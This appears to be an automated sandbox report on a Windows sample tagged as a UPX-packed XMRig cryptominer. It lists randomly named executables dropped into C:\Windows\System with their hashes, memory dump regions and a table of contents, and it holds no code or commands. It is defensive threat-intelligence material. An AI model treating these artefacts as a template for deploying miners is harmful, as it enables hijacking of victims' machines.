SHA256	c0a64a50da66c4aa106f60d203043df86d8cbd78a03b87ddf2abb0a8fdc6eb78
SHA512	e355699a7ca99675936afd78eb3d9d33b8840be566667c3450e14ba8ff63670af3e54f0aec556c471eed3e11dd7a5c8168ab75f75f7db5fb1ab2a76e7048e40c

memory/4980-143-0x00007FF7209B0000-0x00007FF720DA2000-memory.dmp

memory/664-130-0x00007FF6026B0000-0x00007FF602AA2000-memory.dmp

C:\Windows\System\EjStnbC.exe

MD5	40b8baebf9d0dd282f29cbc51d9ac533
SHA1	c97dfd2a94dfb188b1e35340ba1dc6527820c019
SHA256	3f38377fb4bbc7a27262363cedfc8dc01f5320331e3fd1ff8b2c6a33f1308b12
SHA512	9c2169c8609a5a299a0771ee9228154d806b9058bf46f8f03f31b3c15a51986c9dd64f014518d50e248bededb354eee4b16c89911fa93f03d7ec4bb641dee6fc

C:\Windows\System\POPcSxM.exe

MD5	becd3231f0eeed102bbaa937c5e6abac
SHA1	86272f89c6bfa4f9d805dd399464fbfce502eb57
SHA256	04d50e4a264534114ee557a569de4aa44050cf28569801e4b3abb5b08f5ef775
SHA512	ce92a0e7ca43855f6e285e2b410d2d58c4e978878b1cd8f961514b772440422f6c6595dec4cc51c04ee4ace25d9a491176f46b89abc1a21e68d390915f3b11ed

C:\Windows\System\HELQfdc.exe

MD5	5df038b4b5e0b15ff687899566fe112a
SHA1	ff47b5a1b6ee7b65399e7469da25ce928bedbd34
SHA256	8f3a943e165e63003373ad8b928d37f99afe3ed2b42d16571378e33873e59b29
SHA512	c7ab2fed709ebc4eb1c1337eb836b1a851a30ea3d73492fca42d60e294a76bd4a81b753a30b3e2705d5bc1e5b51b91730885804ac3aef53f5cadfdccff7df2ad

C:\Windows\System\kzhZhTp.exe

MD5	d7044644e60729ae82a7bcca5816337d
SHA1	91c16388cd69f7e84129f80c040e801174eeb98a
SHA256	7eedfbdf66256bd73c17beefd28099bf8cd4d5226543401797fe7f4ef3075355
SHA512	783211f675899f6ebba7ed8b7b0664ee37db9cd640ec3db3c46de63075e05c8a79e65034154df37b7f82c065f953682b19cd129648d4f5ebcdad058943e1bd8a

memory/3980-106-0x00007FF667590000-0x00007FF667982000-memory.dmp

C:\Windows\System\zsczpij.exe

MD5	b1a3dfd95d679cc8868fd7d827347a79
SHA1	511685a3844f58b2ecc9b73d9b360da68030e136
SHA256	cb109a6ae08285340772a6b824d7debea312c797dd63b854d2ffe6c4e6b8cadc
SHA512	920fc02eab82d49918abffc4e79cb3f10acc246ca185d2ad2f8b1fc27e8e249c4a87141d008d5c47fabb3e41def3941b39e0bf9618771554ba299cbbd782b2a1

memory/5100-102-0x00007FF64C870000-0x00007FF64CC62000-memory.dmp

C:\Windows\System\dBsTWDJ.exe

MD5	54f7d2a45f3b73175c468d5cde76c48a
SHA1	5aca7276a5344aa7ab8222c629669545bb3d2ecc
SHA256	50e914958dc92972929635c08cb3b5a2a4663c55952240fd5b0671ca57378d00
SHA512	34d42beb3e1503d13d114e02804dfdb31d23e94d1486c9ee9d61e276591d14bc3c9114b0f92aee47e87e5525cccfe6cbdc2c78b5bea137332642e5606e95d34a

C:\Windows\System\vPWfdTQ.exe

MD5	8d52c1369a76ea9098b2b0d2bb792a7f
SHA1	a7b55f8a3691c539d219befc11437881ff5f7616
SHA256	209b54c5aac0ee8e17577315cb506ac297eda37a78f937ba021e348874eaed41
SHA512	46f700e8d1443c7cc414a1138804815e3dcd8bffa78844c4addd15963c614be6d43593fcb2ab85e56d6e80af71288181dd5824357456524c8f443abd1f4ceef7

C:\Windows\System\efwMhIK.exe

MD5	cac3b9684e046956b14cac087d1a6034
SHA1	d7aca829e3d5121867286f3741eb8fd8d8421ad5
SHA256	b67a9f47165636bc613dd1e3df780aa55ec5798d376cce41c1a4ca2785fc0993
SHA512	00ac12983cd118b650d6c12cfbbafbb37bc8ee14a73aff8c09c2acfe2b3e6e2a935bc790cf38657df02a40a6716a9c702176e90c857388e0d9b6cba8abd1c1f2

C:\Windows\System\RHtrhMp.exe

MD5	740d84ab7c3901e8ae4c81f4269991a9
SHA1	91f7230ed130c979995dc82eca89d009abec7f47
SHA256	e4653f316d7ea42cb40b794c0971f7c428c35b2eaf4483923dfe23d845ec1704
SHA512	4151c446bb9419f9e7a2f91dc13118f0a6bc8b70c3f725d0b5aaf24c017718a55b2199b48bc9c9d660993f3cb5f3209a05c4939da0b3bdc9ccb87cb8e4d489b6

memory/3660-66-0x00007FF7EC3F0000-0x00007FF7EC7E2000-memory.dmp

C:\Windows\System\YLoNWgP.exe

MD5	ba58b9ebe10aa653cc31ed2e09cfbacb
SHA1	3e72d70279e8716ab7b55329e8d8181d2ac553d4
SHA256	883d4562e547728727443512c33c000daf390b219db8eeb7727837fdd0e72ba7
SHA512	67e2b27e5a1563b8f4495dc581a1c4017a4b9b2126a2b65098bbe867cdfe45b00b2fcefadd6fb5024fb57a6ace34595648e6340075401b81b65eb45246db8605

C:\Windows\System\eHEPnMM.exe

MD5	c2feb9226d1c514690450540a8d6075c
SHA1	818978980bbe0ca8126615fc9f3d9f42c90de53b
SHA256	6563758224e8d1b8dd3c9ad421fdf328eb33f7f443093554d047ed0d7ee21fb2
SHA512	5a6377bb68382a62dcc3cbcaba5ff5519cec24b90e28da4d2395bc4f30bccb49697b15492053ae08499b7f8f4c3900e948db88a9312a1f5f0aa873c3d28b0b5b

memory/3776-55-0x000001D3DE590000-0x000001D3DE5B2000-memory.dmp

C:\Windows\System\HRwLZip.exe

MD5	cc23157c41dfeb4abccdc2ed3437488d
SHA1	21e1cb88590586dbe09f1592fed19066ab27ab35
SHA256	1e3b5f8ab0de77b2c480d81d2e87c6e1b314639bf15c98efd4c8f0730c747ab8
SHA512	6cf4112b73c859896e717fd8a06a875224788963b56082f304876996b845960ce7075b861c48341a10f062d11bf149824f8e7e4b44bf325b4b44b4a5b65cdf70

C:\Windows\System\JrKqcfm.exe

MD5	b85774658d51645c28fc4dcaa3c00bc5
SHA1	e72acb6e2c2fae4351577011793c58329493f906
SHA256	362b74714296a82d32251801d47d8446f08f23b8eca4e1e089cce059a704df1c
SHA512	de53494754a9be7e29e475d1dedb687827d7031dcabb62a535202ca9d820064d71164454b033e0bea457986aaaa63d77b8c54e989a3ef84ab816d85f68b618e3

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rjivz5fy.vsu.ps1

MD5	d17fe0a3f47be24a6453e9ef58c94641
SHA1	6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256	96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512	5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Windows\System\EXNxcJv.exe

MD5	451cfa3088797a5759ea7abf906e1ccf
SHA1	eeaf2fd2f001ed5a41ce1efebd82f3fc28a520be
SHA256	5af3a1341f496326df1524541aced67d93fdd0a1fdbeea5fbba587fa5eb07a36
SHA512	bd445dbd05fbe2a6973d61447ab875240d6c79b3f30588d7a435d220b1181e8ac50e19a9616fe10e43f12e3e6f4cb3e9d3c38f5188e762af12be986ddff06b28

memory/3404-4565-0x00007FF7D7B90000-0x00007FF7D7F82000-memory.dmp

memory/664-6102-0x00007FF6026B0000-0x00007FF602AA2000-memory.dmp

memory/3980-6104-0x00007FF667590000-0x00007FF667982000-memory.dmp

memory/3316-6112-0x00007FF67BE40000-0x00007FF67C232000-memory.dmp

memory/812-6120-0x00007FF77A1D0000-0x00007FF77A5C2000-memory.dmp

memory/4980-6101-0x00007FF7209B0000-0x00007FF720DA2000-memory.dmp

memory/2764-6099-0x00007FF678AB0000-0x00007FF678EA2000-memory.dmp

memory/1076-6098-0x00007FF6AEE30000-0x00007FF6AF222000-memory.dmp

memory/3536-6096-0x00007FF6C2C00000-0x00007FF6C2FF2000-memory.dmp

memory/3024-6095-0x00007FF647650000-0x00007FF647A42000-memory.dmp

memory/1968-6093-0x00007FF65D7A0000-0x00007FF65DB92000-memory.dmp

memory/5100-6091-0x00007FF64C870000-0x00007FF64CC62000-memory.dmp

memory/4496-6055-0x00007FF79B740000-0x00007FF79BB32000-memory.dmp

memory/776-6160-0x00007FF607940000-0x00007FF607D32000-memory.dmp

memory/5112-6147-0x00007FF6D8A00000-0x00007FF6D8DF2000-memory.dmp

memory/1596-6145-0x00007FF6976B0000-0x00007FF697AA2000-memory.dmp

memory/4312-6142-0x00007FF607DD0000-0x00007FF6081C2000-memory.dmp

memory/3120-6135-0x00007FF6856B0000-0x00007FF685AA2000-memory.dmp

memory/2096-6129-0x00007FF7FF1A0000-0x00007FF7FF592000-memory.dmp

memory/4192-6164-0x00007FF67AEA0000-0x00007FF67B292000-memory.dmp

memory/4848-6185-0x00007FF671440000-0x00007FF671832000-memory.dmp

memory/4272-6154-0x00007FF617830000-0x00007FF617C22000-memory.dmp

C:\Windows\System\UswNYBE.exe

MD5	90cc8a9ba43b0445c09133a8ad5a4344
SHA1	8c9caa4b0361dee0057b8af76b4b40588f028105
SHA256	ebda111caaa22bc3cf246f369967cd1970b81931672957409e64bbf9553c625c
SHA512	f29975fce97f9633e3946d599e2ec21ffeeef2b5b296303b55ec62d5cb1907c1b6188646121e8e7c7076ee7a20855b896498133380dafcd815f5c9819927466b

Sample ID	240613-18cq6swenr
Target	8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe
SHA256	4b68ede3982059a80daea8befff784d56121a58573288c31d7dc59e6904d8661
Tags	upx miner xmrig execution

Malware Analysis Report

2024-07-28 21:32

Table of Contents

Analysis Overview

Threat Level: Known bad

Malicious Activity Summary

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files